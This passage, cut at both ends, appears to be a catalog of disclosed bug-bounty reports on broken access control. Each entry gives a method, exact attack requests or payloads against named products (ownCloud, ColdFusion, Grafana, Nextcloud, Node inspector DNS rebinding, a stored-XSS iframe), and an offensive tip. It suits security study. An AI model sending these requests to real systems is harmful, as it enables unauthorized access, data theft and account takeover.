- Member's email/calendar is bound into the admin Rooms area
GET /meet-external/spot-roomkeeper/v1/calendar/auth/init?successRedirectUrl=https%3A%2F%2Fadmin.8x8.vc%2F%23%2Frooms%2Fadd HTTP/2
Host: admin.8x8.vc
Authorization: <Member user's JWT>
Insight — UI role-gating is not authorization. For every admin-only feature, capture its API call and replay with a lower-privileged token; broken function-level authorization (BFLA) lives in the endpoint, not the menu.
Real-world example
Enumerating predictable resource links via Google dorking
◆ High
Specimen #1210043 · khanacademy · none · 43 votes · resolved
Program khanacademySurface webTag account-takeover
Root cause
Class-join URLs (/join/<code>) are indexed by search engines, so a site: dork enumerates all join links and lets an attacker join arbitrary classes without an invite.
Method
- Run a site dork for the join path.
- Open enumerated links and complete signup to join without invitation.
site:khanacademy.org/join/*
Insight — Access control that relies on link secrecy fails when the links are crawlable. For any invite/share/join URL, dork site:target/<path>/* and check Wayback/gau; indexed 'secret' URLs are a free enumeration primitive.
Real-world example
Pre-signed URL expiry check fails open (auth bypass)
◆ High
Specimen #2337427 · owncloud · 2000 · 42 votes · resolved
Program owncloudSurface webTag account-takeover
Root cause
The PreSignedURL validator calls urlIsExpired() before verifying the signature; on an expired date it returns a nil error, so the signature is never checked and the request is authenticated. Any file is reachable knowing only username + filename.
Method
- Confirm PreSignedURL is enabled (default) and allows GET.
- Build a WebDAV file URL for a known username/filename.
- Append OC-Credential, OC-Verb=GET, an already-expired OC-Date, OC-Expires, and any OC-Signature value.
- Request it unauthenticated -> file is returned.
https://TARGET/remote.php/dav/files/admin/secret.txt?OC-Credential=admin&OC-Verb=GET&OC-Expires=60&OC-Date=2024-01-27T00:00:00.000Z&OC-Signature=notchecked
Insight — When a system validates a signed/expiring URL, deliberately send an EXPIRED timestamp and a garbage signature. If the expiry branch short-circuits before signature verification, expiry becomes an auth bypass. Test the fail-open order of every 'expired?' check.
Real-world example
IP-based access bypass via X-Forwarded-For spoof
◆ High
Specimen #382678 · snapchat · 500 · 40 votes · resolved
Program snapchatSurface webTag account-takeover
Root cause
A path trusts the client IP from the X-Forwarded-For header; setting it to a loopback/internal value makes the app treat the request as internal and expose restricted config/bucket details.
Method
- Identify an endpoint that behaves as internal-only or returns different data by source IP.
- Add X-Forwarded-For: 127.0.0.1 (also try X-Real-IP, X-Client-IP, X-Originating-IP).
GET /internal-ish-path HTTP/1.1
Host: TARGET
X-Forwarded-For: 127.0.0.1
Insight — Whenever access seems tied to 'internal' vs 'external', spoof the client-IP headers. Loopback and RFC1918 values in XFF/X-Real-IP frequently flip apps into a privileged/internal mode.
Real-world example
Email change without password re-auth via admin user-management endpoint
◆ High
Specimen #3398283 · revive_adserver · none · 34 votes · resolved
Program revive_adserverSurface webChain Change admin email -> password reset -> account takeovTag account-takeover
Root cause
The Change-Email UI requires the current password, but the admin user-access endpoint (agency-user.php) accepts a POST that updates any user's email (including the admin's) without re-authentication - the re-auth is enforced only on the self-service path.
Method
- Log in with access to Inventory -> User Access
- Select the admin user and click Save changes while intercepting the request
- Modify email_address (and userid) to the target and desired address
- Send; the target user's email is changed with no password confirmation
POST /admin/agency-user.php
submit=1&login=admin&token=<csrf>&userid=1&email_address=another-mail@example.com&agencyid=1
Insight — A sensitive change (email/password) may be guarded by re-auth on one path but performed unguarded by an admin/bulk endpoint. Enumerate all endpoints that write the same field; changing a victim/admin email is a classic account-takeover primitive.
Real-world example
Privacy restriction enforced in UI but not on the admin-ajax action
◆ High
Specimen #538008 · wordpress · awarded · 32 votes · resolved
Program wordpressSurface web
Root cause
BuddyPress 'restrict group invites to friends only' is enforced only in the UI; the groups_send_group_invites admin-ajax action does not re-validate the target's privacy setting, so a direct POST invites a non-friend anyway.
Method
- Victim (A) enables 'restrict group invites to my friends only'
- Attacker (B), not friends with A, sends a direct POST to admin-ajax
- Set users[]= to A's user id
- A receives the group invite despite the restriction
POST /wp-admin/admin-ajax.php
message=&nonce=21f500cbfd&group_id=1&action=groups_send_group_invites&_wpnonce=7264177f51&users%5B%5D=3
Insight — UI-hidden actions are not disabled server-side. For every privacy/permission toggle, replay the underlying AJAX/API call directly and confirm the server independently enforces it.
Real-world example
Unauthenticated Meteor/DDP method (null userId skips authz)
◆ High
Specimen #3611837 · rocket_chat · none · 32 votes · resolved
Program rocket_chatSurface webTag account-takeover
Root cause
The deleteFileMessage Meteor method could be invoked over an unauthenticated DDP WebSocket where Meteor.userId() returns null; the authorization branch was skipped and execution fell through to an unconditional deleteById.
Method
- Open an unauthenticated DDP WebSocket to the Rocket.Chat server
- Harvest file IDs from public channel message payloads / download URLs
- Call the deleteFileMessage method with a target fileID
- File is permanently removed from storage and DB
// DDP method call over ws, no login
{"msg":"method","method":"deleteFileMessage","params":["<fileID>"],"id":"1"}
Insight — In Meteor/DDP apps, test every registered method unauthenticated: guards that assume a non-null Meteor.userId() fail open when the caller never logs in. Enumerate object IDs from public payloads.
Real-world example
Reserved-name collision: create/delete user whose data dir maps to a system path
◆ High
Specimen #508493 · nextcloud · awarded · 32 votes · resolved
Program nextcloudSurface web
Root cause
User data directories are named directly from the (attacker-chosen) uid without reserving system names; a group-admin creates a user named after an internal data folder (files_external, appdata_*), then deleting that user recursively removes the corresponding real directory (CVE-2019-15624).
Method
- As a group admin, create a new user with uid = an internal data-dir name (e.g. files_external, appdata_<random>)
- Delete that user
- The matching data/<name> folder (shared/admin data) is removed
create user uid="files_external" -> delete user -> data/files_external removed
Insight — When an app derives filesystem paths from user-controlled identifiers, test names that collide with reserved/system directories (., .., appdata, config, admin uids). Account create/delete lifecycle can become an arbitrary directory delete.
Real-world example
Node.js permission policy/model bypass via built-in module loaders and file-write sinks
◆ High
Specimen #2188126 · ibb · USD 1165 · 29 votes · resolved
Program ibbSurface other
Root cause
Node.js experimental permission enforcement (policy mechanism and later the --permission Permission Model) can be bypassed through built-in escape hatches that never route through the policy check: Module._load()/require.extensions[.js] load modules outside policy.json; the inspector module opens a debugging channel; process.report.writeReport() path validation can be tricked to write outside allowed paths.
Method
- Run target under the experimental policy/permission model expecting e.g. child_process to be blocked
- Use Module._load('child_process') or override require.extensions['.js'] to load an unauthorized module bypassing policy.json (CVE-2023-32002)
- Alternatively enable/use the inspector module to regain restricted capability (CVE-2023-30587, #2078581)
- Or abuse process.report.writeReport() path misvalidation to write files outside the permitted set (#3692858)
// policy/permission bypass primitives
Module._load('child_process') // ignores policy.json (CVE-2023-32002)
require.extensions['.js'] = evilLoader // load outside policy
process.report.writeReport('../../evil') // path misvalidation write (#3692858)
Insight — Sandboxes/permission models built on top of a language with many built-in reflection and file APIs are only as strong as their most obscure escape hatch. When assessing any allowlist-based runtime restriction, enumerate ALL primitives that reach the same capability (module loaders, debuggers, report/dump writers, worker threads) and test each independently.
Real-world example
Insufficient session revocation for removed users
◆ High
Specimen #1479894 · 8x8-bounty · awarded · 25 votes · resolved
Program 8x8-bountySurface apiTag account-takeover
Root cause
Removing/deleting a user from a workspace only revokes UI access; the user's still-valid session cookie continues to authorize READ/WRITE API actions because sessions are not invalidated on removal.
Method
- Invite a user, accept, and capture their authenticated session cookie
- From the admin account remove/deactivate that user
- Replay the removed user's prior requests with the saved cookie
- Observe continued READ/WRITE access (e.g. /api/v1/users/UUID/roles)
# After removal, replay with the removed user's saved cookie:
GET /api/v1/users/<UUID>/roles HTTP/1.1
Host: connect.8x8.com
Cookie: <removed-user-session>
Insight — After any deactivate/remove/role-downgrade action, replay the victim's captured session against the API - many apps enforce membership only at login/UI and never invalidate live sessions or re-check on each request.
Real-world example
BMC Remedy path-based ACL bypass (CVE-2018-18862)
◆ High
Specimen #1990338 · deptofdefense · none · 24 votes · resolved
Program deptofdefenseSurface webChain leaked creds -> low-priv login -> path swap to Default
Root cause
BMC Remedy ITSM enforces authorization by the landing form path; substituting the URL path segment after /forms/arpc/ with an admin view path grants access to admin functionality (chained with search-engine-exposed credentials).
Method
- Find exposed Remedy creds via search engines (indexed login pages/configs)
- Log in at /arsys/shared/login.jsp
- On the error/landing page, take the URL after /forms/arpc/
- Replace it with /User/Default+Admin+View1/ to reach the admin view
https://TARGET/arsys/forms/arpc/User/Default+Admin+View1/
Insight — For form/view-driven enterprise apps (Remedy, ServiceNow-style), authorization is often tied to the requested view/form name in the URL - swap it for a known privileged view; also always search engines for indexed creds of the same product.
Real-world example
Client-set trust attributes not validated server-side
◆ High
Specimen #1653676 · nintendo · awarded · 23 votes · resolved
Program nintendoSurface api
Root cause
The MK8DX matchmaking server accepted a client-supplied attribute list on CreateCompetition without validation; setting attribute index 12=Official and 13=Recommended made an attacker-created tournament appear as an official Nintendo one.
Method
- Call MatchmakeExtensionProtocol::CreateCompetition via the NEX server
- Supply a SimpleSearchObject whose attributes[12]=2 (Official) and attributes[13]=2 (Recommended)
- Competition surfaces in the 'Recommended'/official section for all players
CreateCompetition(SimpleSearchObject{ attributes: [ ..., index12=2 /*Official*/, index13=2 /*Recommended*/ ] })
Insight — Any field that encodes trust/role/tier (isOfficial, isAdmin, verified, tier) and is echoed from the client is a privilege bug - flip it and see if the server re-derives it; game/RPC backends frequently trust client attribute blobs.
Real-world example
Grafana snapshot broken access control (CVE-2021-39226)
◆ High
Specimen #2408480 · deptofdefense · none · 23 votes · resolved
Program deptofdefenseSurface web
Root cause
Grafana snapshot endpoints allow unauthenticated and authenticated users to view and delete the snapshot with the lowest database key by hitting literal paths, enabling a walk through and deletion of all snapshot data.
Method
- Fingerprint Grafana version (< patched)
- GET /api/snapshots/:key or /dashboard/snapshot/:key to view the lowest-key snapshot
- DELETE via /api/snapshots/:key or /api/snapshots-delete/:deleteKey (unauth if public_mode=true)
- Iterate to enumerate/delete all snapshots
GET /api/snapshots/:key
GET /dashboard/snapshot/:key
DELETE /api/snapshots/:key
GET /api/snapshots-delete/:deleteKey
Insight — On Grafana instances check version and hit /api/snapshots/:key - a classic known-CVE win; keep a per-product CVE checklist for fingerprinted software rather than only testing custom logic.
Real-world example
BOLA/BFLA via tenant (organization) id parameter swap despite read-only role
◆ High
Specimen #865115 · helium · awarded · 23 votes · resolved
Program heliumSurface webTag account-takeover
Root cause
A read-only invited member can perform a write (rename device) against another org because the server authorizes on the request body's organization_id without checking the caller's role/membership for that org.
Method
- Create org A (admin) and invite account B as read-only
- As B, capture a delete/other request that exposes the target organization_id
- As B, submit a device-name update but replace the org id with A's organization_id
- Change is applied in admin org A
POST /update-device HTTP/1.1
{ "organization_id": "<victim_org_id_from_step3>", "device_id": "...", "name": "pwned" }
Insight — Object-scoping ids in the body (organization_id, account_id, tenant_id) are BOLA sinks even when the UI enforces roles. A-B-A test: capture a privileged id, replay a state-changing call from a low-priv session with that id swapped in.
Real-world example
Nextcloud 'Hide Download'/Secure View bypass via /download
◆ High
Specimen #788257 · nextcloud · awarded · 22 votes · resolved
Program nextcloudSurface web
Root cause
The 'Hide Download'/Secure View share option only removes the download button in the UI; the underlying download route still serves the file, so appending /download to the public share URL retrieves it (CVE-2020-8139).
Method
- Open a public share configured with Hide Download / Secure View
- Append /download to the share URL
- Browser downloads the file that was 'protected'
https://TARGET/s/<shareToken>/download
Insight — Client-side 'view only / no download / no copy' controls are almost always UI-only - request the raw resource route (/download, /raw, ?format=..., direct blob URL) to confirm the restriction isn't enforced server-side.
Real-world example
Client-side-only login gate bypass via console
◆ High
Specimen #1063298 · gsa_vdp · none · 22 votes · resolved
Program gsa_vdpSurface web
Root cause
Authentication/authorization decision is made in client-side JavaScript (a loginChk() function reading a form field); the server never independently verifies, so overwriting the field in the browser grants admin access.
Method
- Open the login page and inspect the JS auth function (e.g. loginChk())
- In DevTools console call it -> returns false
- Overwrite the checked form value: document.forms[0].scSelCen.value='admin'
- Submit -> logged into the admin panel
// browser console
document.forms[0].scSelCen.value = "admin";
loginChk();
// then click the submit/login button
Insight — Whenever a login/redirect decision lives in JS, tamper the inputs/return value in the console. If the server accepts the submission without re-checking, it is a full auth bypass. Grep client JS for functions gating navigation.
Real-world example
Protected data exposed through a connected third-party integration API
◆ High
Specimen #273698 · x · none · 22 votes · resolved
Program xSurface apiTag oauth
Root cause
A third-party service (niche.co) that a victim connected via OAuth mirrors data the primary platform protects (protected tweets), and its own API serves that data to unauthenticated attackers, bypassing the platform's privacy control.
Method
- Victim connects their (protected) account to the third-party app
- Attacker queries the third-party's public user API by the victim's handle
- Response includes internal numeric user/account ids
- Fetch /users/<id>/posts?accounts=<id> to read the protected content unauthenticated
https://www.niche.co/api/v1/users/<victim_handle>
# extract ids, then:
https://www.niche.co/api/v1/users/<userId>/posts?accounts=<accountId>
Insight — Privacy is only as strong as every integration that syncs the data. Enumerate connected apps/partners of a target platform and test whether their APIs re-expose protected content without the platform's access checks.
Real-world example
Limited-scope role reads all credentials via credentials API
◆ High
Specimen #1218680 · elastic · awarded · 21 votes · resolved
Program elasticSurface apiChain Limited role -> read private admin API key -> full engTag account-takeover
Root cause
Elastic App Search /api/as/v1/credentials/ does not scope results to the caller's engine access; a Dev role with Limited Engine Access retrieves every API key including the global private read/write key.
Method
- Map an external identity to the Dev role with Limited Engine Access (no engines selected)
- Log into App Search as that user
- GET /api/as/v1/credentials/
- Read all API keys including the private admin key, then use it to manage/delete keys across engines
GET /api/as/v1/credentials/ HTTP/1.1
Host: <app-search-host>
Cookie: <limited-role-session>
Insight — Credential/key-listing endpoints are prime BFLA targets: re-request them from every role tier. A key-management API that returns the global admin key to a scoped user is instant privilege escalation. Also retest such endpoints after a prior fix (this was a bypass of #1168528).
Real-world example
Role tampering via disabled UI field + unchecked role in PUT body
◆ High
Specimen #751299 · stripo · none · 20 votes · resolved
Program stripoSurface webChain Role downgrade of owner -> victim locked out (denial of aTag account-takeover
Root cause
Server trusts the client-supplied role field on the org-user PUT and does not forbid changing the owner's role; the only guard was a disabled front-end input.
Method
- As an invited admin, open the org users page
- Re-enable the disabled role <select> via devtools (or just craft the request)
- Send a PUT that changes the OWNER's role to admin
- Owner loses owner status and is locked out of login
PUT /cabinet/stripeapi/v1/organizations/135428/users HTTP/1.1
Content-Type: application/json
{"entityType":"USER","id":135628,"role":"admin","organizationId":135428,"email":"owner@victim","suspended":false}
Insight — A 'disabled'/greyed field is not an authorization control. Any role/permission/tenant field in a JSON body should be flipped and replayed - especially operations targeting a higher-privileged user id than your own.
Real-world example
Private-topic read via user-controlled source_topic_id in quote/onebox
◆ High
Specimen #312647 · discourse · USD 256 · 19 votes · resolved
Program discourseSurface webTag account-takeover
Root cause
Discourse onebox can_see check is `Guardian.can_see || same_category?(target.category, source_topic)`, and source_topic is taken from an attacker-supplied ?source_topic_id; setting it equal to the victim topic id makes same_category() always true, bypassing the guard.
Method
- As admin create a staff-only topic and note its id
- As a low-priv user, post a reply containing a link to that topic with ?source_topic_id set to the victim topic id (use port 80/443)
- The onebox preview renders the private topic's content
http://target/t/anything/?source_topic_id=<VICTIM_TOPIC_ID>
Insight — When an authorization predicate ORs a real check with a 'same context' shortcut, hunt for the parameter that feeds the shortcut. If that context object is caller-controlled, self-reference it to force the shortcut true. Preview/embed/onebox/unfurl features are classic sinks.
Real-world example
Missing authz on E2E key-update API breaks encryption
◆ High
Specimen #1757663 · rocket_chat · none · 19 votes · resolved
Program rocket_chatSurface apiTag account-takeover
Root cause
Rocket.Chat server API e2e.updateGroupKey has too-low authorization, letting an attacker insert/overwrite the E2EKey in another user's rocketchat_subscription entry, subverting the end-to-end encryption of a room (CVE-2023-23911).
Method
- Authenticate as a low-privilege user
- Call e2e.updateGroupKey targeting a victim's subscription in an encrypted room
- Overwrite the E2EKey so the room key can be decrypted/controlled by the attacker
POST /api/v1/e2e.updateGroupKey
{ "uid": "<victim_uid>", "rid": "<encrypted_room_id>", "key": "<attacker_controlled_e2e_key>" }
Insight — 'End-to-end' features still expose server APIs that manage the keys/metadata. Enumerate key-management and subscription endpoints and test whether a non-member/low-priv user can write another user's key material - a server-side authz gap defeats the whole crypto model.
Real-world example
Read-only user deletes users via cross-org invitation id replay
◆ High
Specimen #888729 · helium · awarded · 19 votes · resolved
Program heliumSurface apiTag account-takeover
Root cause
The DELETE /api/invitations/<uuid> endpoint checked the caller could delete invitations in some org they belong to, but not that the target invitation uuid belonged to that org, so a read-only member of org H2 could delete a member of org H1 by supplying H1's invitation uuid.
Method
- In org H1 (as admin) capture the victim's invitation uuid from the delete-user request.
- Switch to org H2 where your attacker account has delete rights.
- Issue DELETE /api/invitations/<victim uuid from H1>.
- Response 204 - the H1 victim is removed despite your read-only role there.
DELETE /api/invitations/0ff7e9f9-877a-40cc-b99f-f6b3b1bea3f8 HTTP/1.1
Host: TARGET
Insight — When authorization is scoped 'can you delete in an org' but the object id is global (a UUID from another org), you can borrow rights from a tenant you control to act on objects in a tenant you don't. Test cross-org id replay whenever a user belongs to multiple orgs.
Real-world example
Namespace glob allowlist ignored when sharding enabled (Argo CD)
◆ High
Specimen #1847140 · ibb · USD 2000 · 18 votes · resolved
Program ibbSurface cloudChain Out-of-scope Application reconcile -> deploy arbitrary k8Tag account-takeover
Root cause
With apps-in-any-namespace + sharding, the Argo CD application controller fails to enforce the allowed-namespace glob list on reconcile, so an Application CRD in a disallowed namespace is reconciled and deployed (CVE-2023-22736).
Method
- Enable apps-in-any-namespace and sharding features
- Create an Application CRD in a namespace outside the configured argocd-* allowlist
- Trigger an update to the Application (reconcile only fires on update)
- Controller reconciles it, deploying resources despite the namespace not matching
# allowed: argocd-*
kubectl apply -f app.yaml -n other # not argocd-*
kubectl annotate application <name> -n other trigger=1 # force update/reconcile
Insight — When a feature interacts with a scoping allowlist, test the allowlist under every mode toggle (sharding/HA/replicas): enforcement paths are often duplicated and one copy forgets the check. Update-triggered reconciles are the exploitation window.
Real-world example
Leftover debug/internal WS endpoints exposed unauthenticated (scrape + DB injection + stored XSS)
◆ High
Specimen #1048571 · deptofdefense · none · 17 votes · resolved
Program deptofdefenseSurface webChain Unauth read chain (date -> userId -> profileId -> rTag account-takeover
Root cause
A set of internal/debug web-service endpoints (only one of which is actually used by the frontend) is reachable with no authentication or authorization, exposing read (scrape by date/user-id/profile-id), write (INSERT/UPDATE to the DB), and thus stored-XSS insertion.
Method
- Enumerate every WS endpoint the app references, not just those the UI calls; the unused ones are the debug/backdoor surface.
- Hit read endpoints directly with no session: iterate date -> returns user IDs; feed a user ID to the next endpoint -> profile IDs; feed profile ID (+dbName) to a third -> full records (unauthenticated scraping).
- Hit the INSERT/UPDATE endpoint directly to write DB rows (potential SQL injection through unsanitized fields).
- Store an XSS payload in a writable profile field, then load the render URL (view=true) to fire it.
# Stored XSS payload placed in a writable profile description field via the open INSERT/UPDATE endpoint:
CData=<iframe onload="alert(1)" style="display:none"></iframe>
# then load: https://TARGET/...?A=<genstring>&B=...&C=...&D=demofromskarsom&view=true
Insight — After mapping which endpoints the frontend uses, treat every OTHER discoverable endpoint as unauthenticated debug surface. Chain read endpoints (one leaks the ID the next consumes) to fully scrape, then probe the write endpoints for injection and stored XSS. Redacted here but the pattern is generic.
Real-world example
Client-side-only permissions bypassed via response match-and-replace
◆ High
Specimen #827816 · nextcloud · awarded · 16 votes · resolved
Program nextcloudSurface web
Root cause
Deck board permissions (edit/share/manage/owner) are enforced only in the client; the server trusts the permission booleans in its own response, so tampering the boards response unlocks the UI and lets the user persist elevated permissions to themselves (CVE-2020-8182).
Method
- Get a board shared with view-only permission
- Intercept the GET /apps/deck/boards response and flip the permission flags to true
- Refresh; open board details -> Sharing; grant yourself Edit/Share/Manage, persisting the escalation server-side
Burp Match-and-Replace on response body:
Match: "permissionEdit":false,"permissionShare":true,"permissionManage":false,"owner":false
Replace: "permissionEdit":true,"permissionShare":true,"permissionManage":true,"owner":true
Insight — When the UI shows/hides actions based on flags in the server's response, flip them with response match-and-replace. If the server then accepts the subsequent write, authorization is client-side only and you can persist the privilege.
Real-world example
GraphQL global-ID type confusion invokes a privileged mutation on the wrong object
◆ High
Specimen #858671 · gitlab · awarded · 16 votes · resolved
Program gitlabSurface graphqlTag graphql
Root cause
destroySnippet resolves the global ID via GitlabSchema.object_from_id without asserting the object is a Snippet; passing a DiffNote GID (which a Maintainer can admin) flows into Snippets::DestroyService -> Repositories::DestroyService on the note's project.repository, deleting the repository a Maintainer is normally forbidden to delete.
Method
- As Maintainer, create a merge request and add a diff note; recover the DiffNote numeric id (leaks in Burp when deleting one)
- Run the destroySnippet mutation passing gid://gitlab/DiffNote/<id>
- The project's repository is destroyed
mutation { destroySnippet(input:{ id:"gid://gitlab/DiffNote/118" }){ errors } }
Insight — GraphQL global-object-ID resolvers that skip a type assertion enable object-type confusion. Feed a gid:// of a different class you hold some ability over (admin_note ~ admin_snippet) to reach a privileged code path gated only by the ability name, not the concrete type.
Real-world example
DNS-rebinding bypass of debugger via 0.0.0.0 and .local
◆ High
Specimen #1632921 · nodejs · none · 16 votes · resolved
Program nodejsSurface desktopChain DNS rebinding -> Node inspector WebSocket -> RCE
Root cause
Host-header allowlist for the Node --inspect debugger permits the reserved 0.0.0.0 address; on macOS browsers resolve http://0.0.0.0 by querying <ComputerName>.local, which an attacker DNS server can rebind to bypass the DNS-rebinding protection.
Method
- Victim runs node with --inspect (debugger on 0.0.0.0:9229 or 127.0.0.1:9229)
- Victim visits attacker page which opens http://0.0.0.0:9229
- macOS browser resolves <ComputerName>.local via attacker DNS -> attacker IP (short TTL)
- Page rebinds <ComputerName>.local to 127.0.0.1, fetches /json to leak webSocketDebuggerUrl
- Attacker connects to the debugger WebSocket (not subject to SOP) -> RCE
# attacker dnsmasq hosts (rebind target):
1.1.1.1 Zeyus-Macbook-Pro.local # then flip to 127.0.0.1 on next short-TTL query
# victim-side trigger:
fetch("http://0.0.0.0:9229/json")
Insight — When a service binds 0.0.0.0/localhost and 'protects' itself with a Host/IP allowlist, test reserved addresses (0.0.0.0) and OS name-resolution quirks (.local on macOS). 0.0.0.0 routes to loopback locally but is DNS-rebindable in browsers. Non-loopback allowlists must reject 0.0.0.0/8.
Real-world example
ColdFusion admin/CFC access-control bypass via path prefix
◆ High
Specimen #2082528 · deptofdefense · none · 15 votes · resolved
Program deptofdefenseSurface web
Root cause
Adobe ColdFusion restricts external access to CFIDE admin CFM/CFC endpoints, but prefixing the path with /hax/..CFIDE and adding _cfclient=true bypasses the filter, exposing administrator/wizard CFC methods to unauthenticated callers (CVE-2023-38205 / CVE-2023-26347).
Method
- Identify a ColdFusion server (CFIDE, .cfc/.cfm endpoints)
- Request the admin/wizard CFC through the /hax/..CFIDE path with _cfclient=true and returnFormat=wddx/json
- Invoke admin methods (getBuildNumber, wizardHash, etc.) without auth
https://TARGET/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx
https://TARGET/hax/..CFIDE/adminapi/administrator.cfc?method=getBuildNumber&_cfclient=true
Insight — When an app blocks a sensitive path prefix (CFIDE, /admin), try path-confusion prefixes (/x/..PREFIX, encoded traversal) plus product-specific flags like _cfclient=true. WAF/route filters keyed on the literal prefix are defeated by an equivalent path the app still resolves.
Real-world example
Secure View / hide-download bypass via WOPI access token
◆ High
Specimen #1194606 · nextcloud · 150 · 14 votes · resolved
Program nextcloudSurface web
Root cause
Nextcloud's Secure View (watermark + disable download) relies on the client; the Collabora/OnlyOffice integration exposes the WOPI file URL and access_token in the WebSocket URL, so anyone can call the WOPI endpoint directly and fetch the original unwatermarked file.
Method
- Open the shared document link protected with hide-download/Secure View
- In devtools network tab, filter for WOPISrc / the ws:// URL
- URL-decode the embedded WOPI files URL and access_token
- Request the WOPI file (optionally append /contents) with the token to download the raw file
# extracted from ws url:
https://server/index.php/apps/richdocuments/wopi/files/1234_abcd?access_token=efgh&access_token_ttl=0
# download raw:
curl 'https://server/index.php/apps/richdocuments/wopi/files/149_oc13.../contents?access_token=r7v1...' -o stolen.odt
Insight — Client-side DRM/watermark/'disable download' controls are bypassable: inspect the document-viewer transport (WOPI/WebSocket) for a file URL + bearer access_token and call the backend directly. Any protection not enforced by a secret shared server-to-server is cosmetic.
Real-world example
Oracle APEX page lacks auth -> unauth admin user creation
◆ High
Specimen #2442229 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface webChain unauth APEX page -> create user -> self-assign admin r
Root cause
An Oracle APEX app (ORDS f?p=app:page) exposes a user-management page without an authorization check, so an unauthenticated visitor can create a new user and assign it the administrator role, then log in as admin.
Method
- Enumerate APEX pages by iterating f?p=<app>:<page> (e.g. 842:9)
- On the unprotected user-management page, add a new user and assign the Administrator role
- Retrieve the emailed credentials and log into the admin app (f?p=303)
https://TARGET/ords/f?p=842:9:::::: # user management page, no auth
https://TARGET/ords/f?p=303 # admin app after creating admin account
Insight — In Oracle APEX/ORDS apps, page-level authorization is per-page; iterate the :page component of f?p=app:page to find pages missing an authorization scheme. Sensitive pages (user admin) are often left public even when the app 'requires login'.
Real-world example
Unauthenticated merchant-detail update (missing authZ + mass field write)
◆ High
Specimen #255651 · eternal · awarded · 13 votes · resolved
Program eternalSurface webChain missing authZ on merchant update -> change email/contact Tag account-takeover
Root cause
An internal endpoint (merchant_details.php action=update-merchant) accepts a merchant_id and arbitrary field values without verifying the caller owns/administers that merchant, allowing takeover-grade field changes (email, contact, bank details).
Method
- POST to merchant_details.php with action=update-merchant and a target merchant_id
- Supply attacker-controlled email/contact and other fields
- Server updates the record; changing the notification email enables merchant takeover
POST /php/merchant_details.php
action=update-merchant&merchant_id=95292&type=1&email=attacker@x.com&contact=attacker@x.com&name=update
# also writable: address,pincode,city,phone,tan_number,bank account name,company_id,payu_id,restaurants
Insight — Backend admin/update scripts often trust a supplied object id with no ownership check. Enumerate action=update-* style endpoints and set the id to another tenant; redirecting the account email/contact is a classic path to account/merchant takeover.
Real-world example
UI hides page but API returns all secrets regardless of role
◆ High
Specimen #1168528 · elastic · awarded · 13 votes · resolved
Program elasticSurface apiChain read all API keys -> use Private admin key -> create/dTag account-takeover
Root cause
Authorization is enforced in the front-end route (page 404s for low roles) but the underlying REST endpoint that feeds it performs no role check, so any authenticated user can call it directly and list all API keys.
Method
- As admin, create the most limited role possible (Analyst, limited engine access) and a user mapped to it
- Log in as that low-priv user; confirm the credentials UI page 404s
- Call the backing API endpoint directly and receive all API keys
GET /api/as/v1/credentials/ (authenticated as lowest-privilege user)
# returns every API key, including a Private key with read/write to all engines
Insight — Whenever a UI page is hidden/404 for a role, find and hit the JSON endpoint it would have called. Client-side/route-level authz with no server-side role check on the data endpoint is one of the most common high-impact IDOR/BFLA patterns.
Real-world example
Internal API exposed unauthenticated on the backend host named in app.js
◆ High
Specimen #1627980 · deptofdefense · awarded · 13 votes · resolved
Program deptofdefenseSurface apiTag cloud-azure
Root cause
The user-facing app enforces SSO, but the backend API it calls (a separate Azure App Service host referenced in the front-end JavaScript) has no authentication, so its internal endpoints can be hit directly.
Method
- Read the app's JS bundle (app.js) to find backend API base URLs
- Enumerate the API's endpoints (person/adgroup/eventtype list methods)
- Send bare unauthenticated GETs directly to the Azure host and read internal PII
GET /api/person/Default.GetAllPersons HTTP/1.1
Host: appg3entcalapi.azurewebsites.net
Content-Length: 2
{}
GET /api/AdGroup HTTP/1.1
Host: appg3entcalapi.azurewebsites.net
Insight — The SSO wall is often only on the web app; the API tier (frequently a *.azurewebsites.net / *.appspot.com host you can pull from app.js) is directly reachable and unauthenticated. Always extract backend hostnames from front-end JS and probe them without cookies.
Real-world example
Look-alike domain defeats loose email-domain allowlist on a 3rd-party portal with flat access control
◆ High
Specimen #1010787 · uber · awarded · 13 votes · resolved
Program uberSurface webChain loose domain-allowlist bypass -> account creation -> fTag account-takeover
Root cause
A third-party portal restricts self-registration to a corporate email domain using a loose (substring/regex) check, so an attacker-registered look-alike domain satisfies the check. Once in, flat access control grants full platform access including PII.
Method
- Find a self-registration page gated to a corporate domain (e.g. only @uber.com)
- Register a domain that satisfies the backend's loose regex (e.g. a domain containing/ending the target string)
- Create an account with an email on that domain and log in
- Exploit flat access control to reach staff/customer PII and platform admin
# defeat a loose check like /uber\.com/ or endsWith('uber.com')
# register e.g. notuber.com or uber.com.attacker.tld and use user@<that-domain>
Insight — Third-party/satellite apps outside central SSO are prime targets: their signup domain checks are often loose regex, and post-auth authorization is frequently flat (any authenticated user = full access). Test domain-allowlist bypasses with look-alike/suffix domains you can register.
Real-world example
Unauth admin API found in JS bundle -> mass PII
◆ High
Specimen #1489470 · deptofdefense · none · 12 votes · resolved
Program deptofdefenseSurface apiChain Recon (JS analysis) -> unauth admin endpoint -> IDOR i
Root cause
An administrative endpoint referenced in a public JavaScript file requires no authentication and returns application records selected by an id/url parameter, leaking PII (name, phone, email) across ~50k records.
Method
- Enumerate/read JS files; find admin.js referencing an admin data endpoint
- Call the endpoint unauthenticated with the id/url parameter
- Increment the id to iterate all applications (found ~50k)
curl https://TARGET/ADMIN_ENDPOINT -X POST --data="url=%2FAPP_PATH_ID" -k
Insight — Grep JS bundles (admin.js, main.js) for admin/API endpoint paths; front-end route-guards do not protect the backend. Unauthenticated admin API + enumerable record id = bulk PII.
Real-world example
Page-level authorization enforced but underlying data/API endpoint left unprotected
◆ High
Specimen #324006 · pingidentity · awarded · 12 votes · resolved
Program pingidentitySurface web
Root cause
The HTML page enforces role checks (shows 'not authorized'), but the AJAX/API endpoint that populates the page does not re-check the caller's permission, so a lower-privileged admin (SaaS admin) can hit the data endpoint directly to read/modify user information. The same class appears when admin-only functions/endpoints are discoverable in client-side JS and callable without server authz.
Method
- Load the restricted page as a lower-privileged role; note the 'not authorized' block
- Read the page's JS/network traffic to find the AJAX endpoint that returns the data (also mine bundled JS for admin-only function names/paths)
- Call the endpoint directly; it returns/accepts data without an authorization check
GET /web-portal/ajax/user/directory/users/?advancedSearch=false&ascendingSort=true&count=100&searchString=&sortField=name.familyName&startIndex=1&statusFilter=
